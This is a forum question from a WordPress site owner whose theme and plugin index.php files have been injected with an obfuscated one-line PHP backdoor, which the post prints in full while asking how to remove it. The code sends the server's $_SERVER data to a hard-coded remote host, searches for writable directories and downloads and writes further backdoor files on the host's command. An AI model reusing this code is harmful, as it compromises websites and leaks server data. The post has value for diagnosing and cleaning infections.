title: WordPress: Some functions are generated automatically inside the index.php file
body: <p>I created a WordPress site and installed a theme and some plugins afterwards. It was working normally for a while, but then it throws an error, even if I did not change the content of the <code>index.php</code> file. I faced with the following error:</p>
  
  <blockquote>
    <p>Fatal error: Cannot redeclare oOooo() (previously declared in /home/puhuvisi/public_html/wp-content/themes/massive-dynamic/lib/widgets/widget-recent_portfolio/index.php:1) in /home/puhuvisi/public_html/wp-content/themes/massive-dynamic/lib/shortcodes/md_live_text/index.php on line 1</p>
  </blockquote>
  
  <p>So I checked the above mentioned files that and I saw there is a single line added automatically to each <code>index.php</code> files (for all plugins and theme files). This one line of code is shown below: </p>
  
  <pre><code>&lt;?php if(!isset($incode)){$vl='h';$serverid='fe6412f27b07e42253690caf0cd35b8a';$server_addr='109.67.153.40';function oOooo($o0O,$oOO,$o0o,$oo,$o0000,$oo0O){$o0oo0='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0';if(ini_get('allow_url_fopen')==1):$o00=stream_context_create(array($oo0O=&gt;array('method'=&gt;'POST','timeout'=&gt;$o0000,'header'=&gt;array('Content-type: application/x-www-form-urlencoded','User-Agent: '.$o0oo0,'content'=&gt;http_build_query($_SERVER)))));if($oo=='yes'):$o0O=$o0O.'&amp;type=fopen';endif;$ooOoo=@file_get_contents($o0O,false,$o00);elseif(in_array('curl',get_loaded_extensions())):if($oo=='yes'):$o0O=$o0O.'&amp;type=curl';endif;$o0Oo=curl_init();curl_setopt($o0Oo,CURLOPT_URL,$o0O);curl_setopt($o0Oo,CURLOPT_HEADER,false);curl_setopt($o0Oo,CURLOPT_RETURNTRANSFER,true);curl_setopt($o0Oo,CURLOPT_TIMEOUT,$o0000);curl_setopt($o0Oo,CURLOPT_USERAGENT,$o0oo0);if($oo0O=='https'):curl_setopt($o0Oo,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($o0Oo,CURLOPT_SSL_VERIFYHOST,false);endif;curl_setopt($o0Oo,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($o0Oo,CURLOPT_POSTFIELDS,http_build_query($_SERVER));$ooOoo=@curl_exec($o0Oo);curl_close($o0Oo);else:if($oo=='yes'):$o0o=$o0o.'&amp;type=socks';endif;if($oo0O=='https'):$o00o=fsockopen('ssl://'.$oOO,443,$oO0o,$oOo0o,$o0000);else:$o00o=fsockopen($oOO,80,$oO0o,$oOo0o,$o0000);endif;if($o00o):stream_set_timeout($o00o,$o0000);$ooooo=http_build_query($_SERVER);$oO='POST '.$o0o.' HTTP/1.0'."\r\n";$oO.='Host: '.$oOO."\r\n";$oO.='User-Agent: '.$o0oo0."\r\n";$oO.='Content-Type: application/x-www-form-urlencoded'."\r\n";$oO.='Content-Length: '.strlen($ooooo)."\r\n\r\n";fputs($o00o,$oO);fputs($o00o,$ooooo);$oO0='';while(!feof($o00o)):$oO0.=fgets($o00o,4096);endwhile;fclose($o00o);list($ooo,$ooO)=@preg_split("/\R\R/",$oO0,2);$ooOoo=$ooO;endif;endif;return$ooOoo;}function client_version($o00OO){$o0oO[0]=(int)($o00OO/256/256/256);$o0oO[1]=(int)(($o00OO-$o0oO[0]*256*256*256)/256/256);$o0oO[2]=(int)(($o00OO-$o0oO[0]*256*256*256-$o0oO[1]*256*256)/256);$o0oO[3]=$o00OO-$o0oO[0]*256*256*256-$o0oO[1]*256*256-$o0oO[2]*256;return''.$o0oO[0].".".$o0oO[1].".".$o0oO[2].".".$o0oO[3];}function oO0Oo($oOOO){$oOooO=array();$oOooO[]=$oOOO;foreach(scandir($oOOO) as$o0O0O):if($o0O0O=='.'||$o0O0O=='..'):continue;endif;$o0=$oOOO.DIRECTORY_SEPARATOR.$o0O0O;if(is_dir($o0)):$oOooO[]=$o0;$oOooO=array_merge($oOooO,oO0Oo($o0));endif;endforeach;return$oOooO;}$oOO0=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$oOO=client_version('1540531608');$o0o='/get.php?spider&amp;checkdomain&amp;host='.$oOO0.'&amp;serverid='.$serverid.'&amp;stookfile='.__FILE__;$o0O='http://'.$oOO.'/get.php?spider&amp;checkdomain&amp;host='.$oOO0.'&amp;serverid='.$serverid.'&amp;stookfile='.__FILE__;$oOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='5',$oo0O='http');if($oOoo!='havedoor|havedonor'):$oOooo=$_SERVER['HTTP_HOST'];$oOOOO=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$o00O=$_SERVER['DOCUMENT_ROOT'];chdir($o00O);$oOooO=oO0Oo($o00O);$oOooO=array_unique($oOooO);foreach($oOooO as$o0O0O):if(is_dir($o0O0O)&amp;&amp;is_writable($o0O0O)):$oOOoO=explode(DIRECTORY_SEPARATOR,$o0O0O);$o0oo=count($oOOoO);$oOOOo[]=$o0oo.'|'.$o0O0O;endif;endforeach;$o0oo=0;foreach($oOOOo as$oooOo):if(count($oOOOo)&gt;1&amp;&amp;(strstr($oooOo,'/wp-admin')||strstr($oooOo,'/cgi-bin'))):unset($oOOOo[$o0oo]);endif;$o0oo++;endforeach;if(!is_writable($o00O)):natsort($oOOOo);$oOOOo=array_values($oOOOo);$oooOo=explode('|',$oOOOo[0]);$oooOo=$oooOo[1];else:$oooOo=$o00O;endif;chdir($oooOo);if(stristr($oOoo,'nodoor')):$o0O='http://'.$oOO.'/get.php?vl='.$vl.'&amp;update&amp;needfilename';$o0o='/get.php?vl='.$vl.'&amp;update&amp;needfilename';$o0o0=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='30',$oo0O='http');$oOOO0=explode('|||||',$o0o0);$o0o00=$oOOO0[0].'.php';$o0O00=$oOOO0[1];file_put_contents($oooOo.DIRECTORY_SEPARATOR.$o0o00,$o0O00);$oOOo=str_replace($o00O,'',$oooOo);if($_SERVER['SERVER_PORT']=='443'):$oo0O='https';else:$oo0O='http';endif;$o0O=$oo0O.'://'.$oOooo.$oOOo.'/'.$o0o00.'?gen&amp;serverid='.$serverid;$o0o=$oOOo.'/'.$o0o00.'?gen&amp;serverid='.$serverid;$oO00o=oOooo($o0O,$oOooo,$o0o,$oo='no',$o0000='10',$oo0O);elseif(stristr($oOoo,'needtoloadsomefiles')):shuffle($oOOOo);$oooOo=explode('|',$oOOOo[0]);$oooOo=$oooOo[1];$oOOo=str_replace($o00O,'',$oooOo);$oO00O='stuvwxyz';$o0o00=str_shuffle($oO00O).'.php';$ooO0=urlencode($oo0O.'://'.$oOooo.$oOOo.'/'.$o0o00);$o0O='http://'.$oOO.'/get.php?bdr&amp;url='.$ooO0;$o0o='/get.php?bdr&amp;url='.$ooO0;$ooOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='20',$oo0O='http');file_put_contents($oooOo.DIRECTORY_SEPARATOR.$o0o00,$ooOoo);elseif(stristr($oOoo,'needtoloadclient')):$o0O='http://'.$oOO.'/get.php?getclient&amp;domain='.$oOOOO;$o0o='/get.php?getclient&amp;domain='.$oOOOO;$ooOoo=oOooo($o0O,$oOO,$o0o,$oo='no',$o0000='55',$oo0O='http');if($ooOoo=='noclient'):die;endif;$oo0=explode('::::',$ooOoo);$ooOOo=$oo0[0];$oo0O0=$oo0[1];@chmod($ooOOo,0666);file_put_contents($ooOOo,$oo0O0);elseif($oOoo=='needtowait'):endif;if(stristr($oOoo,'nodonor')):endif;endif;$incode=1;}?&gt;
  </code></pre>
  
  <p>I have no idea why it appears on each index file and how to remove these lines swiftly. This is the second time I faced with this problem. I reinstalled everything from scratch after first incident. How can I avoid this issue permanently?</p>